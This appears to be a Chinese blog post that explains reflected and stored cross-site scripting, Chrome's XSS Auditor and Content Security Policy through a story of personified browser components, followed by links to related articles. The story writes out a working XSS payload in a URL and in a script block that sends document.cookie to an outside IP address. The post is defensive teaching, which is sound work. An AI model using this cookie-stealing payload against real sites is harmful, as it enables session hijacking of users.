一个神秘URL酿大祸,差点让我背锅!
神秘URL
我叫小风,是Windows帝国一个普通的上班族。上一回说到因为一个跨域请求,我差点丢了饭碗,好在有惊无险,我的职场历险记还在继续。
“叮叮叮叮~~~~”,闹钟又把我给吵醒了,我一看时间竟然已经这么晚了。
我赶紧起身,准备要去上班,好不容易在那家浏览器公司谋了个差事,可不敢迟到。
今天又是普通的一天,很快就到了深夜,上网业务少了,我和小雪妹子一合计,伙同负责网络连接的老白和负责存储的小黑,一起打起了麻将。

一连打了几圈,正在兴头上,公司的美女前台跑了过来,“你们几个别玩了,上网业务来了。老白,这是URL,给”
我瞅了一眼这URL,看上去有些奇怪,不仅比之前见过的都长,貌似还夹杂着一些JavaScript代码。
http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--
“老白,这URL长的好奇怪?会不会有什么问题?”,我向老白问到。
“嗨,你小子就是新来的,我见过的URL比你执行过的JS代码都多,什么奇形怪状的没见过,大惊小怪”,老白不屑一顾。
“大家把牌盖着,都别看,忙完了回来咱接着打”,老白继续说到。
于是大家各归各位,准备处理这一单上网业务。
很快,老白取回了这个URL背后的网页,交给了小雪来解析渲染。
小雪做了一半,叫住了我:“风哥,又有 <script> 标签了,该你上了”。
我接过小雪手里的网页,猛地一看,这不是刚刚URL里面出现的代码吗?怎么又跑到网页里面去了?
心里突然涌上一种不好的预感,正在困惑之中,老白催我了,“小雪小风你俩赶紧的,网页加载半天了还没显示出来!”
但愿是我多想了,我开始执行这 <script> 标签中的代码了。
<script>
$("body").append("\<img src='http://192.168.59.129:10086?c="
+ escape(document.cookie) + "'>")
</script>
我要创建一个新的 <img> 标签,添加到网页正文中去。看了一下这个图片的来源,是一个新的地址,再一看,还要把当前网站的Cookie带着作为参数才能拿到这个图片。
我来到小黑的存储仓库,准备向他索要Cookie。
当我表明来意以后,小黑也显得有些谨慎,“按照公司规定,一个网站的Cookie是不能随便给别的网站访问的”
“这我当然知道,不过现在是这个网站的JS代码主动把Cookie取出来发给别人,这不算违反公司规定吧”,我解释到。
小黑邹着眉头想了一想,也就同意了。
我拿到cookie后,构建了一个完整的 <img> 标签添加到了网页的DOM树中,之后还给小雪继续渲染。
网页很快渲染完成展示出来了,忙完之后我们继续开始未完的牌局。
过了一会儿,人类终于关掉了浏览器,我们也可以下班了······
XSS跨站脚本攻击
第二天一早,我刚到公司,小雪妹子就转过头告诉我:“风哥,主管让你去趟他的办公室,他好像不太高兴,你当心点”
“你知道是什么事情吗?”
“我也不太清楚,只听说你执行了什么错误的JavaScript代码”
我心里一紧,感觉大事不妙,难道是昨晚那奇怪的代码有什么问题?
来到主管的办公室,见里面坐了一个年轻小哥。我轻轻的敲了敲门问到:“主管,您找我有事?”
主管见我到来,指着旁边的沙发示意我也坐下。
“你闯祸了知道吗?”,领导扔给我一页文件。

我拿起文件一看,上面赫然写着我昨晚执行那段奇怪的JavaScript代码。
“主管,我不太清楚,这是有什么问题吗?”,我小声问道。
主管指着旁边那个年轻小哥说到:“这位是OO空间网站的负责人,让他告诉你吧”
小哥点了点头说到:“是这样的,我们发现有人盗用我们网站的Cookie,免登录直接访问了进去,经过日志排查,发现是你们这里把Cookie泄露的,所以想过来了解一下情况”

“这段代码是你们网站自己的,我只是完成我的工作执行了它而已啊”,我开始有些紧张了。
“可是我们网站根本没有这段代码,也不可能把Cookie就这样发给别人的”,这小哥也争辩道。
办公室的气氛变得有些紧张,现场陷入了短暂的安静。
就在此时,年轻小哥出去接了一个电话。
片刻之后,小哥再次回到办公室,脸色突然和缓了许多,笑着说到:“不好意思,刚刚接到同事的电话说,他们已经排查出了问题,是我们网站对URL中的参数没有检查,直接写入了网页中,被人利用传入了JS代码。跟你们应该没有关系,实在是抱歉”

听完,我松了一口气,差点就要背锅了。
回到工位,我把事情的经过告诉了大伙。
小雪听后吐槽:“那些奇奇怪怪的URL就别乱点嘛,真是给我们添乱”
“你看你看,我昨晚上就觉得有些不对劲。这坏蛋手段挺高啊,能想出这么个损招,咱们给这种攻击方式取个名字吧”,小黑说到,“叫Cross Site Script攻击怎么样?”
老白点了点头,“跨站脚本攻击,嗯,总结很到位,那就简称CSS吧!”
小雪一听转过头来,“你叫CSS,那我的层叠样式表岂不是要改名让贤?”
老白挠了挠头,有些不好意思,“哦,忘了这一茬。那改一下,叫XSS,这总可以了吧?”
我们都点了点头,就这么定了。
XSS Auditor
虽然这一次的事情责任不在我们浏览器,不过我一直还是有些后怕。
这天晚上,我又仔细回忆了那天整个事情的经过

突然脑子里灵光一闪,发现一个重要的特点

既然JS代码同时出现在了请求的URL中和响应的网页中,何不利用这个特点来进行针对性拦截呢?
越想越难入睡,连夜写起了方案。
第二天,来到公司,打算将昨晚的方案汇报给主管,挣一下表现。
我再次来到主管办公室,主管见是我,招呼道:“小风啊,来来来,刚好找你有点事”
我快步走了进去,只见主管又拿出了一叠文件放在我的面前,随后说到:“这是我搞到的绝密资料,是咱们隔壁Chrome浏览器公司的一个叫XSS Auditor的技术,据说可以阻止类似上次的攻击事件,你抽空研究一下”

我脑子一懵,赶紧快速浏览了这份文件,没想到居然跟我的方案撞到一块儿了,而且比我想的还全面细致。我只好悄悄收起了原来准备汇报的方案······
几天后,主管宣布我们也要用上这种技术,增强咱们浏览器的安全性。
存储型XSS
“听说了吗?隔壁Chrome浏览器公司也发生XSS攻击了”,一天中午,老白神神秘秘的说到。
我一听来了精神,“不是有XSS Auditor吗,怎么还会发生这种事?”
“这回那些坏蛋换招了,他们没有把JS代码放在URL中,XSS Auditor自然是发觉不了了”
“不在URL中,那放哪里了?”
“听说是存在了数据库里,访问网页的时候从数据库里读取出来后,直接给填充到了网页上了,喏,就像这样”,老白说完画了一个图。

“对了,他们借此机会把XSS攻击分成了两种,以前那种直接通过URL把JS代码注入进网页的方式叫做反射型XSS,这一次这种叫存储型XSS”,老白继续说到。
我看了老白的图一下就明白了,“这一招也太狠了,存进了网站的数据库里,所有人访问页面都得中招”
“可不是咋的,OO空间网站那边已经乱成一锅粥了,正在内部整顿,对所有的输入进行全面的检查过滤,防止JS代码混进去。”
“这种事情还是得他们网站自己做好检查,咱们浏览器也帮不上什么忙”,一旁的小黑也插了一嘴。
大家七嘴八舌聊了几句就散了。

虽然小黑说的也没错,不过上次的方案撞车,我一直不太服气,这一次机会来了,我要是能再想出一套方案,能把这次的新型XSS一并解决的话,那就扬眉吐气了。
之后一段时间,一有闲暇我就开始思考这个问题,却一直没什么进展。
CSP
这一天中午,没什么工作要忙,我又想起了这个问题,小雪他们又组织打麻将,我没有心思便拒绝了。
老白闻讯过来,说到:“小风,你还在想那个问题啊,你这两天没看新闻吗,W3C标准化组织推出了一个新技术,已经把这个问题解决了!”
老白的话如当头一棒,“什么技术?怎么解决的?”

“你看你,天天关起门来研究,都不知道外面的世界变化有多快。你去了解一下,好像叫什么Content Security Policy,哦对,就是这个,简称叫CSP”
我赶紧去打听了这个叫CSP的新技术,看完直拍大腿,我怎么就没想到。
CSP规定了一个叫Content-Security-Policy的信息,网站通过这个信息告诉浏览器哪些外部资源可以加载和执行。这个信息可以用HTTP头的形式出现,像这样:

也可以通过 <meta> 标签出现,像这样:
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
至于里面的内容,则是将所有可能出现外部资源加载的地方进行了指示,浏览器拿到它就能知道能去哪些地址加载对应的资源,如果资源所在的地址不在名单之内就拒绝加载:
- script-src:外部脚本
- style-src:样式表
- img-src:图像
- media-src:媒体文件(音频和视频)
- font-src:字体文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部资源
- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
- worker-src:worker脚本
- manifest-src:manifest 文件
比如 img-src的内容是self,那所有的 <img> 标签的src属性必须是在当前网站才行,如果加载其他地址的图片就会拒绝。
不仅如此,还提供了一个叫report-uri的字段,字段内容是一个服务器地址,浏览器发现有不符合规定的资源加载后,除了拒绝加载还可以把这一情况报告给这个地址,网站就能及时知道预警了。
真是完美的解决方案!没想到,竟然这么多竞争对手都已经用上了这项技术

当天下午,我就拉着老白去到领导办公室,说服他将这项技术在咱们公司也用起来。
烦人的XSS攻击总算是缓解了不少,我们也难得度过了一段时间的太平日子。
未完待续······
彩蛋
太平的日子没有太持久,那件事之后半个月,我又因为执行一段JS代码霸占CPU太久,被帝国安全警卫队勒令我们浏览器公司强制关闭。
执行JavaScript这份工是越来越不好打了。
预知后事如何,请关注后续精彩······
往期热门回顾


一个神秘URL酿大祸,差点让我背锅!的更多相关文章
- Nginx 转发时的一个坑,运维居然让我背锅!!
最近遇到一个 Nginx 转发的坑,一个请求转发到 Tomcat 时发现有几个 http header 始终获取不到,导致线上出现 bug,运维说不是他的问题,这个锅我背了. 新增的几个 header ...
- ThinkPHP 的一个神秘版本 ThinkPHP 1.2
ThinkPHP 的一个神秘版本 ThinkPHP 1.2 询问过 ThinkPHP 官网的小伙伴都知道,偶尔 ThinkPHP 故障时会出现 ThinkPHP 1.2(下次看到就截图下来). 但是我 ...
- 为了用python计算一个汉字的中心点,差点没绞尽脑汁活活累死
为了用python计算一个汉字的中心点,差点没绞尽脑汁活活累死
- 《.NET 5.0 背锅案》第4集:一个.NET,两手准备,一个issue,加倍关注
第1集:验证 .NET 5.0 正式版 docker 镜像问题 第2集:码中的小窟窿,背后的大坑,发现重要嫌犯 EnyimMemcachedCore 第3集-剧情反转:EnyimMemcachedCo ...
- 从一个标准URL中提取文件的扩展名
例如:http://www.sina.cn/abc/de.php?id=1 提出php 1. $url = 'http://www.sina.cn/abc/de.php?id=1'; $arr = ...
- 从一个标准 url 里取出文件的扩展名
在php预定义函数中有一个叫做"pathinfo()"的函数,专门用于返回文件路径信息的. 那好,我们就来看一下它能为我们做些什么? 语法:pathinfo($url_ ...
- PHP实现一个简单url路由功能
如果一个页面的内容呈现,需要根据url上传递的参数来进行渲染.很多时候可能是这样子写:xxx.com/xx?c=x&m=x& t=..,而我们看到的url往往是这样子的(以新浪微游戏的 ...
- 说说客户端访问一个链接URL的全过程
讲讲登录权限是如何控制的 我们可以把这个过程类比成一个电话对话的过程.当我们要打电话给某个人,首先要知道对方的电话号码,然后进行拨号.打通电话后我们会进行对话,当然要对话肯定需要共同的语言,如果一 ...
- urllib.parse:很底层,但是是一个处理url路径的好模块
介绍 urllib.parse是为urllib包下面的一个模块,urllib的其它模块完全可以使用requests替代.但是urlli.parse我们是有必要了解的,因为该模块下面有很多操作url路径 ...
随机推荐
- 201771010113 李婷华 《面向对象程序设计(java)》
一.理论知识部分 设计模式(Design pattern)是设计者一种流行的思考设计问题的方法,是一套被反复使用,多数人知晓的,经过分类编目的,代码设计经验的总结.使用设计模式是为了可重用代码.让代码 ...
- 实时(RTC)时钟,系统时钟和CPU时钟
最近在学stm32的时候看到RTC时钟和系统时钟,不知道区别在哪里,于是上网查了一下. 实时时钟:RTC时钟,用于提供年.月.日.时.分.秒和星期等的实时时间信息,由后备电池供电,当你晚上关闭系统和早 ...
- Day_11【集合】扩展案例1_遍历打印学生信息,获取学生成绩的最高分,获取成绩最高的学员,获取学生成绩的平均值,获取不及格的学员数量
分析以下需求,并用代码实现: 1.按照以下描述完成类的定义 学生类 属性: 姓名name 年龄age 成绩score 行为: 吃饭eat() study(String content)(content ...
- vue路由元之进入路由需要用户登录权限功能
为什么需要路由元呢??? 博猪最近开发刚刚好遇到一个情况,就是有个路由页面里面包含了客户的信息,客户想进这个路由页面的话, 就可以通过请求数据获取该信息,但是如果客户没有登录的话,是不能进到该页面的, ...
- GAN的前身——VAE模型原理
GAN的前身——VAE模型 今天跟大家说一说VAE模型相关的原理,首先我们从判别模型和生成模型定义开始说起: 判别式模型:已知观察变量X和隐含变量z,它对p(z|X)进行建模,它根据输入的观察变量X得 ...
- C++内存管理学习笔记(3)
/****************************************************************/ /* 学习是合作和分享式的! /* Auth ...
- 2020网鼎杯 白虎组reverse:hero
主函数,当bossexist的值不为0时,while循环dround()函数,循环结束输出flag outflag()函数的flag值由6段数据拼凑而成 while循环的dround()函数有三个选择 ...
- 1、Fiddler基础
1.抓取https请求 前言 fiddler是一个很好的抓包工具,默认是抓http请求的,对于pc上的https请求,会提示网页不安全,这时候需要在浏览器上安装证书. 一.网页不安全 1.用fiddl ...
- 解决 es CircuitBreakingException 问题
比如频繁报如下错误, [2019-06-16T15:31:22,778][DEBUG][o.e.a.a.c.n.i.TransportNodesInfoAction] [node-xxx] faile ...
- Reflux之Action
reflux在flux的基础上,去掉了dispatcher. 在Reflux中,每一个Action本身就是一个Publisher(消息发布者),具有消息发布功能:而每一个Store除了作为数据存储之外 ...